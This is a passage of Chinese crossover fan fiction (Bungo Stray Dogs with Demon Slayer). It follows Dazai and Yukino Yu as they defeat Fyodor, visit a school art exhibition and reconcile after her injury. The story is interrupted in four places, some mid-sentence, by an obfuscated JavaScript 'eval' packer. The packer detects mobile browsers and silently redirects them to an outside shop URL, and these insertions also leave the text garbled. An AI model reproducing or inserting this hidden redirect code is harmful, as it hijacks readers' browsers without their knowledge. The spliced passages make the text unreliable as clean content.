“织田作也应该收养我这个被妻子抛弃的人呜呜!” 作为大半夜被叫到酒吧喝酒的二人组,织田作之助和坂口安吾都带着几分懵然。 他们一个睡着后又起床赴约,一个是和国木田独步一样根本没下班。 “你们知道吗?婚姻的保质期是有限的。”太宰治戳着杯子里的冰球,语气要多凄惨就有多凄惨,“我是选项E,我是planB,我是下雨天淋湿的狗狗……” “够了太宰。”坂口安吾拦下身边试图和太宰治碰杯的织田作之助,“你说你知道费奥多尔的踪迹我才来的,结果居然又是情感吐槽大会吗?” “不是,因为夕酱只有我可以吐槽。” “……?” “你够了太宰治。”坂口安吾捏捏额角,“我还不如回去加班。” “无限城的事情还没有解决完,安吾头痛的时间果然还会有好久呢。” “哈?你知不知道一旦事态升级,整个横滨会发生怎样的动荡?上头甚至已经打算将【猎犬】……” “事情当然会好起来的。” 杯子里的冰块一点点地融化、最终被琥珀色酒液吞噬殆尽。 “但前提就是,我们要等到太阳升起。” 在夺取异世界物品日记本失败后,费奥多尔一直想要杀死雪野夕,再利用她死亡时产生的异能特异点当做媒介,不但能利用【空间之镜】操纵无限城,更可以以它为连接当做两个世界的撞击点。 这本不是他的第一选择,但在四年前的一次尝试后,太宰治必然会在日记本上动更多手脚。 可雪野夕是一个活生生、不会被太宰治操控、甚至能反过来影响他意志的人。 “我的计划早在与夕酱互换身体时,就已经开始。”因为冰球融合,杯中之酒满溢,却又因为水的张力维持住一个微妙的平衡。 “费奥多尔的属下中,有一位能够操纵命运的女士,她的异能力非常有趣。” 【命运定律】,对外的解释是操纵命运,但本质上是集中一个人的霉运并放大,这样异能力的效果就会变成——被异能力选中的人会持续进入自己最讨厌的状态十六个小时。 而他利用手中的【书页】,则可以轻易地影响这份异能力的效果。 早在费奥多尔和他相见之前,他就已经书写好了整个故事的结局。 与恋人交换身体是其一,将她的灵魂包裹在【人间失格】内,而他则用【空间之镜】暗中改变无限城的内部结构。 等到命运女士的进攻到来,这份交换时间刚好结束,夕酱则变成了她最不希望的、缩小的形态。 同样应该远离费奥多尔在横滨掀起的风暴。 . “真是的夕酱,你怎么现在才来?”高空餐厅的落地窗旁,源真理子有些抱怨地看向对面的雪野夕,“不会是因为你的丈夫不同意吧。” “呃,他掉进下水道了,所以我出来找你玩也很正常。” “我就说你为什么要这么早就结婚啊,而且是和一个比自己还要小三四岁的人结婚……雪野夫人居然还答应了。” “你知道吗?姐姐都还没结婚呢,当时收到这个消息的时候我吓死了。” “对了,你不会还要回去照顾掉进下水道的丈夫吧?” “……连我结婚这件事你都知道吗?”雪野夕头痛地落座,“而且连……母亲都知道?” “你最近撞到头失忆了?”源真理子用银勺舀起一小块慕斯,“我们不是上周还出来逛街过吗?” “最近可能是有点失忆了,哎等下,先不要给我爸妈打电话啊!”雪野夕急忙改口,“高中毕业后……” “高中毕业后我们就去留学了,结果你说你对一个人一见钟情,非要和他结婚,还邀请我们参加你的婚礼。” “婚礼上你哭的稀里哗啦,超——级坚定地说你这辈子最爱的男人除了你爸就是太宰治……” 雪野夕:这是哪年的剧情,太宰治搞这一出怎么完全不通知我? 昨天晚上,她接到了来自自己从没见过面的亲生母亲雪野夫人的电话,显然对面所在地和横滨有些时差,所以雪野夫人不悦地问:“你怎么还没睡?” “……妈妈你半夜给我打电话干什么?” “我就猜你喜欢熬夜,看,一抓一个准。” “这是钓鱼执法……” “那又怎么样?我是你妈,同意你在港口mafia工作就已经是我最后的宽容了。” “妈妈你怎么连这个都知道?” 收到这通电话时她就已 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13984387|140283||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 经明白了,世界融合已经完成,所有的普通人脑海里都会自动浮现彼此的世界概念,并做出一番加工修饰,使事情变得合理化许多。 但融合后还是有点超乎雪野夕想象,所以她结束通话后就立刻拨打了源真理子的电话,把好姐妹夺命连环call起来补设定。 就是说什么叫对太宰治一见钟情后闪婚并在婚礼上哭得稀里哗啦说太宰治就是她这辈子除了她爸最爱的男人啊! 小兔宰治你完蛋了! 二小姐源真理子对姐妹身边的男人一律敌视,再帅都不行,是一旦听到闺蜜吐槽恋人嘴里下一个字就一定会是“分”的女人。 她此刻心痛地看着自己的恋爱脑姐妹,正在脑子里使劲检索到底应该用什么恶毒但礼貌的语气骂人。 “而且夕夕,你实话实说,你去港口mafia工作真的不是为了给你老公冲业绩吗?”源真理子发散思维,“我记得他是武装侦探社的来着……” 这槽多无口的台词让雪野夕冷笑一声——太宰治啊太宰治,虽然在和妈妈通完电话之后她就知道这些印象究竟是谁写的了,但你敢不敢把你以前就是组织干部的事情一起写上啊! 天知道雪野夕在自己亲妈口中听到自己之所以进入港口mafia当干部是因为自己学习了医药科技投资后,在父母的旧识森先生的邀请下进入了他的公司时的震撼。 这种瞎扯的能力,她编都不一定往这个方向编。 仔细想想又有一点合理性,雪野夫妇认为女儿身为异能者去一个异能者组织里工作,且想要进入横滨进行贸易,港口mafia又是绕不开的一环。 至于这里面的关键性角色森先生,他要是知道自己能拉来投资,一定会高兴到恨不得在办公室穿女仆装跳舞。 . “她把我一个人扔下去东京玩。”太宰治还在忧愁地诉说自己婚姻的伤痛,等待时间最终还是被他变成了吐槽大会,虽然不知道为什么自己刚刚突然浑身恶寒,“当然,我知道你们没结过婚的人是不会懂的……话说我是不是应该找菲茨杰拉德先生来讨论这个问题?” 坂口安吾:“我就知道事情会变成这样。” “但夕酱是个好孩子。”织田作之助已经又续杯了一份酒水,很老实地说着自己对于家庭生活的见解,“我听说妻子们通常不怎么愿意丈夫夜间在外喝酒……但这种生活对于我们三个来说应该算是常态。” “这么说来我的同事们似乎是这样。”坂口安吾已经将酒水换成番茄汁,对于一个明天还要继续工作的人来说,刚刚的一杯酒已是放纵,“她们在婚后也会将重心转移一部分到家庭里。” “那什么情况下她们才会扔下丈夫,自己一个人到另一个城市呢?” “啊……”坂口安吾推推眼镜,“大概是夫妻感情破裂的时候?” 吧台上的旋转座椅一阵晃动,虽然知道这只是一个假设,太宰治还是有想当场出门直走找到一颗不错的大树吊死的冲动。 所以说这一切,归根结底,就还是费奥多尔的错吧! 62.故人相见 “说起来真理子最近在做什么?” 雪野夕询问好闺蜜的近况,因为她好像在上学的时候就非常具有艺术天赋,毕业后没有经济压力,现在可能是一个时不时在世界各地旅行的艺术家? “最近在忙碌一个画展啦。”源真理子放下咖啡杯,唾弃朋友喝咖啡的品味,“我求求你咖啡里多加一点糖和奶吧,我感觉我在喝什么毒药。” “什么画展?”雪野夕接过自己的杯子,“还不是因为你非要尝尝我的,哎……我不要喝你的,你的太甜了!” 偷袭失败的二小姐从包里抽出画展邀请函,“就这个画展……哼,不喝就不喝。” 雪野夕接过邀请函,上面的字迹有些模糊,但署名却很熟悉——愈史郎先生的画展。 在黑金色的背面,还用寥寥无几的笔触勾勒出一个和服美人的身影。 “愈史郎先生是很有名的大画家,但几乎不怎么在人前现身,除了一两个产屋敷家朋友。”源真理子向对艺术不怎么感兴趣的闺蜜介绍,“而且他的画总是关于一个人……艺术家可能总是有些怪癖的吧。” 话还没说完,就看到雪野夕翻越了下画展日期,然后就把邀请函塞进了自己包里。 源真理子:“……!” “你怎么突然对画展感兴趣了?”她不可置信地问:“雪野叔叔要是知道这件事,说不定会激动地跑回东京。” 雪野夕的父亲雪野先生,是一位爱好风雅、兴趣广泛的收藏家,在三十年前时被雪野夫人一见钟情,随后改姓入赘,人生中最大的挫折就是……女儿对他收藏的名画、琴谱之类的一点也不感兴趣。 “产屋敷……你有他们的联系方式吗?”她伸手,意思是“把你手机给我看看”。 “噫,还是一如既往地不客气。”傲娇小姐真理子嘀咕,“果然以前喊我二小姐什么的是嘲讽吧。” “少来。”雪野夕接过手机,“我看以前你听见也开心得很。” 她要是不在日记本里胡扯,费奥多尔岂不是能看到很多有用信息。 “产屋敷辉利哉先生可是一百岁了,你找他干嘛呀。”源真理子抑制不住好奇心,“难道是对愈史郎先生感兴趣?” 在听见熟悉的名字时,雪野夕难免产生了一点“近乡情怯”的微妙感觉。 从几个月前开始,她就再也没有返回过那个鬼怪已经灭绝的世界。 因为老师黑死牟已经死去多时,鬼杀队光明灿烂的伙伴们也已经一一离开,时间的不对等让她难免伤心,好在他们离开时并没有什么遗憾。 “……我们还是说回画展吧。”察觉到她的脸色好像有点凝重,源真理子赶快换了话题,“你猜这次的举办地点是哪里?” “美术馆?” “错!那就太没意思了不是吗?” 源真理子摇头,“这次的举办地点定在学校里,据说也是产屋敷先生的家族产业,名字叫做鬼灭学园。” “……鬼灭学园?” . “啊!抱歉抱歉!”樱和嫩叶交织发色的女孩子停下来,满脸通红地对前面的人道歉,“我我我走太快了,没注意到前面有人,没有撞到你吧?” “……” “哎哎?”甘露寺蜜璃大惊失色,自己刚刚果然是撞到前面的小姐了吧?否则为什么她看过来的眼睛里都浮现出眼泪了? 她赶紧手忙脚乱地掏出纸巾递过去,“对不起,我这还有樱饼您要吃吗?呜……请务必收下我的赔礼吧?” “不,我没有受伤。”雪野夕接过纸巾擦擦眼泪,“我是……” “你眼睛里进沙子了吗?”她身边的源真理子也一头雾水,因为雪野夕好像是看到鬼灭学园后就开始哽咽了。 “我,我是……”不太好解释的原因增加了,雪野夕闭上眼睛深吸一口气,“其实我是看到这么好看的小姐姐,所以忍不住感动得哭了。” “什、我、我吗?”双手端着便当的甘露寺蜜璃愣住,本来脸上因为羞愧产生的红晕正在缓缓褪去,但她看向雪野夕苍绿色的眼睛和一脸认真地神色时…… 这位小姐说得好认真! 她白皙的脸庞很快又被绯色笼罩,甚至因为激动,耳朵上都开始弥漫红色。 随后她开始掏出更多的点心,晕晕乎乎地说:“居……居然被女孩子夸了,好、好开心!这些点心都是送给小姐的!” 源真理子:“哈?” 居然一个敢说一个敢信。 “你在说什么!?”身后传来一个阴恻恻的男声,回头看去,脖子上缠着一条白色小蛇的异瞳男人看上去要气死了—— “和甘露寺第一次见面就敢说这种话!” “哎?伊黑先生?”甘露寺蜜璃回过神,“你也来啦,刚刚这位小姐夸我超级好看哎,嘿嘿。” “……” “那、那当然……”伊黑小芭内眼神闪躲,“甘露寺……肯定是最好看的。” 源真理子:“……啊?” 她们这是误入了纯爱笨蛋的心动现场吗? 还有夕酱怎么回事?为什么一脸欣慰的表情啊? “甘露寺学姐!伊黑先生?” 也许现在正是上学时间,校门口又陆陆续续来了几个人,其中带着妹妹的阳光少年正是刚刚发出声音打招呼的人,至于他的另一个黄发同伴正眼神闪躲,试图让自己消失在朋友身后。 没看见伊黑先生正在和甘露寺学姐深情对视吗?这种时候打断是要闹那样啊! “不愧是艺术氛围浓厚的学园……真包容。”源真理子小声对雪野夕说:“那个女孩子居然带着猪头帽子。” “不,那是男孩子。” “哈哈,伊之助是男孩子啦。”炭治郎向这位陌生的大姐姐解释,随后有点惊喜地看向雪野夕,“这位姐姐,你是第一个一上来就说对伊之助性别的人哎。” “这就是天赋。”雪野夕淡定地装了一把。 “我们是来观看愈史郎先生的画展的。”源真理子解释,“……不过现在还没开始呢。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14006774|140283||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“哎?是这样啊。”灶门炭治郎有点不太好意思地摸摸后脑勺,露出的手臂光洁有力,还带着一点微微薄茧,看上去和其他这个年纪的少年都没什么不一样。 “我们要赶着去上两位继国老师的剑道课,只能先进去,那就期待画展开始的那一天再见啦!”聊了几句后,四小只对她们露出善意的笑容,追逐打闹着走远了。 “再见,炭治郎。” “嗯嗯。”炭治郎一直走到操场,才怔愣地回过神,“我刚刚好像没告诉那个姐姐名字啊?” “说不定她是别的学员的朋友,听说过哥哥?”他身边的灶门祢豆子猜测,而且她看自己的眼神好像也很熟悉。 ……难道是在梦里见过吗? “他们看上去过得很好。”等到所有人散去,雪野夕才自己低低感叹了一下,“没有鬼的世界……希望他们不要被异能者波及吧。” “真理子也好好的,一切真是太好了。” 正在打呵欠,却突然被朋友揪住脸颊的源真理子懵然,然后以自己一米五的身高张牙舞爪地扑上去:“本小姐困死了!一晚上没睡就被你拉来这里……” “我的错我的错,下次你半夜叫我我也答应嘛。” “哇!已婚人士居然会说这种话?” “……” . 在酒吧里同样烦了自己朋友们一晚上的太宰治打开手机,倒吸一口凉气。 “是魔人又发了什么信息吗?”已经续了两杯咖啡的坂口安吾强打精神,“发生了什么?” 怎么太宰突然这么如临大敌? 体力更好、眼神更尖的织田作之助瞟见了挚友的手机屏幕,虽然这好像也是太宰治故意露出来给他看的。 “怎么办?”太宰治喃喃自语,“夕酱问我要不要在事情结束后休假跟她一起去欧洲见见她的父母。” “……”坂口安吾怀疑自己是不是听错了,“就这个?” “确实是这个,你没有听错。”织田作之助在思考要不要给坂口安吾的咖啡里加点水——再喝下去,朋友不会猝死吧? “见家长什么的……好像确实是个难题呢。” 比如现在,他好像就已经开始听力下降了。 “简直就像是世界要毁灭了一样!”太宰治激动地表达自己的心情,“这可是见父母……哇,果然我应该上吊吧?” 费奥多尔破坏自己家庭什么的,夕酱只会一笑而过,但如果是夕酱的父母不同意的话…… 他不会收到离婚协议吧? 不、是已经死期将至了。 太宰治绝望地回忆着刚刚妻子短信里的内容—— 【这次事件结束后记得请假跟我去欧洲见见我的父母,对了,见到我时请解释,什么叫做:我对太宰治一见钟情和他闪婚并且在婚礼上哭得稀里哗啦,发誓他是我这辈子除了我爸意外最爱的男人。】 他在融合世界的时候只不过是加上了夕酱很爱自己的限定词啊!后面那一长串离谱的形容词又是怎么回事? 63.藏木于林 “海?” “嗯。” 在太宰治和江户川乱步再次进行了一番众人听不懂的交流后,这场对话最后由两个简短的字符终结。 “这是……像组合那次一样吗?”中岛敦表示自己十分摸不到头脑,上次他路过办公室也是听到了太宰先生和乱步先生的蜜汁交流,最后组合的【白鲸】也正是坠毁在海中。 他的头上还顶着一只圆滚滚的肥啾栗子酱,这货自从能够被大家看见且被太宰治带到武装侦探社,经过两年的投喂,已经胖得快要飞不起来。 “不错~小老虎进步了嘛。”江户川乱步向后伸展身体,“毕竟无限城是一个庞大的建筑……如果要让它升上地面,对横滨带来的损失将会不可估量哦。” “安吾是绝对不会允许这种事情发生的吧?”太宰治也伸伸懒腰,“到时候要维持治安和事后重建……恐怕就再也没有下班之日了呢。” “喂喂,不要当着我的面说这种话啊。”站在一旁的坂口安吾推推眼镜,“是种田长官让我协助你们,结束横滨的动乱。” “港口mafia也是一样。”中原中也抱臂站在一旁,“横滨是属于我们的,还轮不到外来的魔人支配。” “三刻构想的联合吗?” 雪野夕的声音在太宰治身后响起,这次是真的把他吓了一跳。 不是出乎意料的那种震惊,是……感觉自己要被家暴的前兆。 “夕酱我错了。”小兔宰治一秒滑跪土下座,“我不应该对母亲大人和父亲大人说我是……” “……这个之后再说。”雪野夕将手里的三花猫放在椅子上,“对太宰来说,怎样才能万无一失地阻拦住对方异能者才是难题吧?” 获得未来记忆的他当然不会忘记,在组合之后,席卷横滨的【天人五衰】。 诚然,拥有先手的他提前拿到了本该由天人五衰书写的【书页】,为横滨规避了不少大事,但天人五衰的强大是不可避免的。 “我会与你并肩作战的。”雪野夕直视太宰治鸢色的眼睛,“这一次,我也相信太宰治能够做到。” 再说完这句话后,她就像来时一样神出鬼没地消失了。 “……夕酱。”刚刚还在有条不紊地安排作战计划的太宰治脸色苍白,“在你心中……太宰治是无所不能的吗?” “乱步先生……” “雪野说的没错。”江户川乱步已经带上了眼镜,“……费奥多尔才是这件事的开端。” 他们别无选择。 联合起来的福泽谕吉与森鸥外一起坐镇后方指挥大局,武装侦探社和港口mafia的异能者一起出动,分别围剿属于魔人的势力。 . “小姑娘,你知道我是谁吗?”隐没在面具和黑袍里的人用沙哑的嗓音开口。 他的声音很特殊,像是生了锈的铁剑,听到耳中却又有种被轻易划开喉咙的错觉。 “我曾听过一个叫【天人五衰】的组织。”因为是在夜间,雪野夕握着虚哭神去,“阁下是……神威?” “哈哈哈哈哈,居然听过我的名号吗?”神威哈哈大笑,随后又很快收敛笑意,语气里带了点森然,“那么想必你也知道我的厉害吧?” “我只知道你不会成功的。”雪野夕神色平静,“费佳想要建立起一个新的世界——那个世界里没有异能者,只有普通人,但即使是普通人,依旧有无穷无尽的精力来造成动乱。” “我曾经去过贫民窟,见过许多穷困潦倒的人,甚至他们大部分都是孩子,未来可能不会有长大的机会。” 神威没有做出攻击的姿态,反而静静地听着她说的一番话。 “前不久,有几个世界以横滨为交点进行了融合……那些世界里,并没有异能者的存在,但却可以带来更多的资源。” “费佳想要建立的新世界,却是以世界碰撞、所有异能者的死亡,甚至还有不计其数的普通人消亡为前提……也许新世界会是美好的,但我无法认同献祭几个世界的做法。” “所以我今日听从一位前辈的话来到这里。”她结束了自己的自言自语,“我想知道,您又是为了什么,站在费佳那一边呢?” “……你是想让两方的关系缓和吗?”神威活动了下手腕,“很可惜,小姑娘,你的话是有些打动了我,但我与魔人的目标并不相同,我有我的目的。” 虚哭神去与另一把剑交错,发出一声悠远的鸣响,持剑人语气冷淡,“你有见过战争吗?你有经历过死亡吗?” “你所说的一切都只不过是缓和。” “而极致后的新生说不定更加美好。” “战争理应被制止,但这不应该是一个人所能改变的事情。”雪野夕调动呼吸将对方的刀锋挡下,“因为战争已经是事情的结果,而非起因。” “您想要阻止战争吗?” “【月之呼吸·厌忌月·销蚀】。” 刀锋碰撞一刻不停,雪野夕说:“……我确实没能体会过战争,正因如此,我也不会让费佳伤害我身边的人。” “从某种意义上看,也许我们目的相同。”神威似乎轻轻叹了口气,“小女孩,你不会成功的。” “蹭——” 凄厉的刀鸣声响起,从雪野夕的侧后方直接划过她的肩膀和脖颈,又被变形后的虚哭神去牢牢挡住。 这是来自时空剑雨御前的攻击。 “哦?空间系的异能力吗?所以才能挡住雨御前啊。”神威看着雪野夕,“使用这把剑,老夫的身份对你来说已经成了明牌。” “所以……你不能活下去了呢。” “……福地樱痴先生。” 即使用【无垠之镜】挡下了大部分攻击,肩膀与脖颈处仍然出现了一道长长的伤口,雪野夕将虚哭神去换到左手,“我承认刚才与您坦白的话也许都是废话。” “至于我是否会被您杀死……” 两人本来是在一处废弃的垃圾场交战,但随着双方的剑招交锋,场地已经悄然移动。 “因为我的任务已经完成了,您的目的却还需要努力。” 随着一声响指, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14023987|140283||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 福地樱痴脚下的地面骤然分开,正是——通往深不见底的无限城。 雪野夕侧身避开身后又一次雨御前的攻击,这把神刀的主人已经落入无限城,甚至在她异能力的加持下直接被传送进了其中地势最多变之处,视线受阻,当然也就没有余力再次操纵雨御前刺杀她。 武装侦探社的秘密基地里,江户川乱步停下书写什么东西的手,将笔随意地往前一扔,“时间卡得正好呢,接下来就看太宰那边了吧?” 脖颈和手臂上的伤口已经不再流血,她的异能力用来隔绝空间止血还不错……太阳快要升起了,要先把虚哭神去收起来。 身后是横滨一望无际的大海,视线尽头已经出现太阳的光芒,一艘大船停留在港口,正在水波中轻轻摇晃。 “真没想到,你会躲藏在这种地方。” 同一时间,太宰治也收回遥望太阳的视线,转而看向坐在自己对面的费奥多尔。 凌晨的船舱寂静无人,只有他们坐在夹板的赏景处相望。 “这次是我输了。”费奥多尔放下杯子,里面的咖啡还带着浓郁的香气,他苍白的手上还带着些许伤口,原本平整的指甲也被他啃得坑坑洼洼。 即使是在身躯不断传来剧痛的情况下,他依旧维持着沉稳的姿态,呼啸的海风为他补全话语中的最后一点疑惑—— “……你早就通过雪野的异能,将无限城的地理位置悄悄改变,使它一大半浸没在了海中,我带来的异能者也被武装侦探社与港口mafia联合阻挠,甚至连命运女士的行动也都被你预测……” “啊,不。”费奥多尔咧开嘴角,“应该说从一开始,她就是你的人。” “她从为港口mafia和武装侦探社送去预告函之前,就已经在遵照你的意志行动。” “否则不会是这种结果……虽然送出预告函是我的受益,但这个任务的开始时间非常重要。” 无限城什么时候打开才不会让他发现异常、武装侦探社必须提前一步收到预告函才能疏散民众、港口mafia收到预告函时太宰治与雪野的交换时间刚好结束…… 就在刚刚,天人五衰之神威也落入无限城中,并且很快就会被困在海底。 “操纵命运之人……原来是你。” 即使被黑洞洞的枪口顶住脑袋,费奥多尔依旧再笑,“不,还有书页的书写……你只更改了一些很小的细节吧?否则不会连我也无法察觉。” 这个嘛……其实是他和乱步先生商量的结果,太宰治想。 “需要我对你说永别吗?” “你将书页藏在哪里?”北国青年的眼睛是亮着的,“让我想想、你得到它的时间已经不短了吧?” “砰——” 扳机扣动,仍在喃喃自语的魔人身躯歪倒着翻过船舷,坠入冰冷的海水中。 “原来是……藏木于林。” 而在更远处,一个小丑在大笑着看着这一幕,他洁白的斗篷像飞鸟翅膀一样飘飞着,最终也投入同色的海浪中。 “挚友啊……” 64.兔子和猫 造成动荡的费奥多尔落入海中后,异能特务科立即调集人手进行了打捞。 但魔人与天人五衰中的另一人,小丑果戈里始终下落不明。 他们也并非全无收获,在江户川乱步提示下敢来现场的福泽谕吉最终还是确定,天人五衰中的神威正是多年好友福地樱痴。 这点也得到了雪野夕的认定。 “或许你不会赞同我。”面具下的福地樱痴不愿意以真容相见,“但我有我的路要走。” “雪野已经将前因后果告诉了我。”福泽谕吉的身躯与他遥遥相对,“我同样会阻止你。” “这么多年,你还是没变。” “可是你却变了很多。” “这些就是你的下属吗?”福地樱痴的目光掠过集合的侦探社汇合在一起叽叽喳喳的社员们,“也算有几分可取之处吧。” 本该是朋友的两人各怀心事,但还是与对方告别了。 侦探社这边,与谢野晶子正在活动手腕,“受伤的人别害怕,等回去后我会把你们一、一、治、好、哦。” 灰头土脸的众人都打了个寒颤。 就连雪野夕也捂着脖子往太宰治身后藏了藏。 所有人里唯一微瑕的就是一直在用重力把无限城往海水里按的中原中也,但他看上去也累得要吐魂了。 “芥川啊,不想被解剖就赶紧跑吧。”雪野夕已经沉痛地举起手,试图使用异能力逃离现场。 “雪野小姐要到哪去?”一只缠着绷带的手按在她肩膀上,声音的主人太宰治脸色发黑,但动作却很轻。 “其实我肩膀也受伤了。” “哎?!”前一秒严肃的人立刻破功,差点跳起来,“我没按到夕酱的伤口吧?” “切。”中原中也轻嗤一声,目露鄙夷之色。 雪野夕本来就是用异能力来止血的,被太宰治一碰,无垠之镜失效,鲜血立刻争先夺后地从伤口涌出,刹那之间就染透整个肩膀。 这下太宰治是真的完全安静了。 甚至于在场所有人都沉寂下来。 只有当事人用没受伤的那只手掏出手机自言自语,“我得把机票改成船票……这样就不用被妈妈爸爸质问了。” “你真的不要紧吗?”与谢野晶子问:“……虽然你是港口mafia的成员,但我也可以帮你治好。” 看着她背在身后的电锯,雪野夕差点炸毛,她一个瞬移躲回太宰治身后,“不要不要,其实没那么严重啦!去医院包扎一下就好。” 与谢野晶子很想说自己对女孩子是温柔版,但江户川乱步扯扯她的衣角,示意她看太宰治的脸色—— 跟鬼差不多。 最后还是满脸疲惫的中原中也带着芥川龙之介和雪野夕一起去了医院,这两个人一个血流不止一个肺炎发作,被组织的顶梁柱、唯一除了boss和红叶姐想骂谁就骂谁的T0级别中也一顿教育后,老老实实地表示自己会改的。 除此之外还有疑似碎掉的太宰治,医生给雪野夕包扎伤口的时候他被中原中也嘲讽为“你能不能别像只流浪狗一样在雪野旁边打转啊?” 还是那种被赶出家门,可怜到都不敢再蹭蹭主人的那种。 但太宰治这种黏糊糊的青花鱼……啧,自己怎么能用流浪狗来形容他呢。 明明小狗那么可爱。 “医药费从你卡里扣,伤好之后记得请我喝酒。”很酷的帽子君嘱咐了同事一句,就得马不停蹄地赶去看芥川龙之介的体检报告单。 雪野夕的脖子和肩膀手臂都被医生用绷带缠了好几圈,她毫无危机意识地转头看向太宰治,“感觉好像在cos你哎!” 被侦探所派遣过来看着太宰治别让他突然发疯的中岛敦往角落里缩缩身体,感觉自己也快要碎掉了。 总感觉太宰先生现在……好可怕啊。 他身边的织田作之助拍拍小老虎的肩膀,“我们还是先回去吧。” 身为太宰治的好友,在这种时候他看得出,最好还是给他和雪野留出个人空间才行。 顶梁柱织田作带着小老虎安静退场,一时间病房中只剩下雪野夕和太宰治。 “……” 太宰治试图像往常那样呼唤恋人的名字,但嘴唇和声音之间似乎有什么东西死去了,让他难得嗫嚅着无法吐出任何一个音节。 眼前全是他轻轻触碰她,便有鲜血涌出的画面。 下一秒,垂落在雪野夕身边却不敢伸出的手被抓住了。 他几乎痉挛了一下,才克制住自己没有将手抽回,依旧安静而温顺地被恋人握在手心。 “……我没事。”躺在床上的雪野夕语气诚恳,“止血和包扎都很及时,刚刚只是小意外。” 太宰治一言不发,雪野夕就捏捏他的手,“放心吧,我已经买好了船票,过几天我们就一起去欧洲,爸爸妈妈都在等着我们……” 打断她的是一滴眼泪。 被她握着的太宰治,正在低头无声哭泣。 “怎么哭了!?”这下雪野夕是真的慌了,直接从床上坐起来,“我这不是没什么事嘛。” “包扎的超级好哦,现在都不流血啦,你这么拉住我也没关系呀。” “……大不了我们回去找与谢野小姐,让她用异能力直接治好我嘛。” “……对不起。”流泪的太宰治轻轻靠过来抱住她,动作轻到让她几乎感觉不到这个拥抱,“都是我让夕酱受伤了。” “捅我的人又不是你。”雪野夕没那么多讲究,她直接往太宰治怀里一瘫,“而且我说过的——” “我们会一起燃烧。” “所以……” 疼痛从颈侧传来,隔着一层薄薄的绷带,太宰治的身体有瞬间的紧绷,但很快就是放松,他甚至在这种痛苦之下一点一点将怀里的恋人抱紧。 当然小心避开了她的伤口。 “第一次见面的时候……我好像也给了你一刀。”雪野夕松口,“虽然是你主动凑上来的。” “嗯……”眼角依旧湿润,甚至还带着一些鼻音的太宰治低低应和一声,“我很乐意和夕酱一起承受痛苦。” “那我们回家?”雪野夕看向恋人微红的眼睛,“这些天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14038337|140283||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怎么说也是你更过分一些吧?” . 在太宰治与十五岁的雪野夕告别后,曾经在她的钢琴上留下了一只折纸小鸟,而折出它的材料不言而喻,正是从书上撕下的书页。 珍贵的书页,应该藏到哪里才好? 一棵树,藏在哪里才不容易被人发现? 答案自然是,藏木于林。 这只书页折出来的小鸟最终被雪野夕夹进日记本,成了笔记中最普通不过的一页。 也正因如此,它才能在被费奥多尔得到过一次、又被夺回来后没有让他怀疑。 而二十二岁太宰治留下的、既是书页也是日记本的栗子酱,在雪野夕来到横滨后与十六岁的太宰治相遇,从而开启整个计划。 直到魔人坠海,才终于完成闭环。 “所以还是你比较过分吧。”回到家后,雪野夕用力戳戳装作一个玩偶的栗子酱,语气不知道是在说谁。 太宰治在旁边老老实实地剥橘子,堪称低眉顺眼。 “我不要酸的。”雪野夕得寸进尺,“你还记得你以前是怎么骗我的嘛。” “都是我的错。”太宰治一口承认,虽然是妻子先把酸橘子递给他的……但这说明什么?这说明夕酱很有分享意识啊,连吃到不喜欢的东西都第一时间和他分享。 肯定很爱他。 所以太宰治大义凛然地准备解开自己喉间的绷带,“夕酱是先吃橘子还是先吃我?” “橘子。” “好冷漠!”化身大型犬的太宰治顿时凑过来撒娇,“我要再哭一次了哦。” “但我的手好痛。”雪野夕蹭回去,看到他的耳尖红了一点。 小青花鱼目光游移,最后老老实实地把一瓣橘子放在她嘴边,“有时候觉得夕酱好像兔子。” 很可爱,急了喜欢咬人,但又是擅长忍受痛苦的存在。 本来因为这个橘子也很酸在吐舌的雪野夕顿时眼睛瞪得圆溜溜,“你这只小猫咪居然会这么说。” “哎?”被评价为猫咪的太宰治不置可否,而是歪歪头真的将缠绕在脖颈间的绷带解开一部分,他的颈侧还有一枚浅浅的牙印,是不久前雪野夕在医院时留下的。 “那就让猫咪也咬你一口好了。” 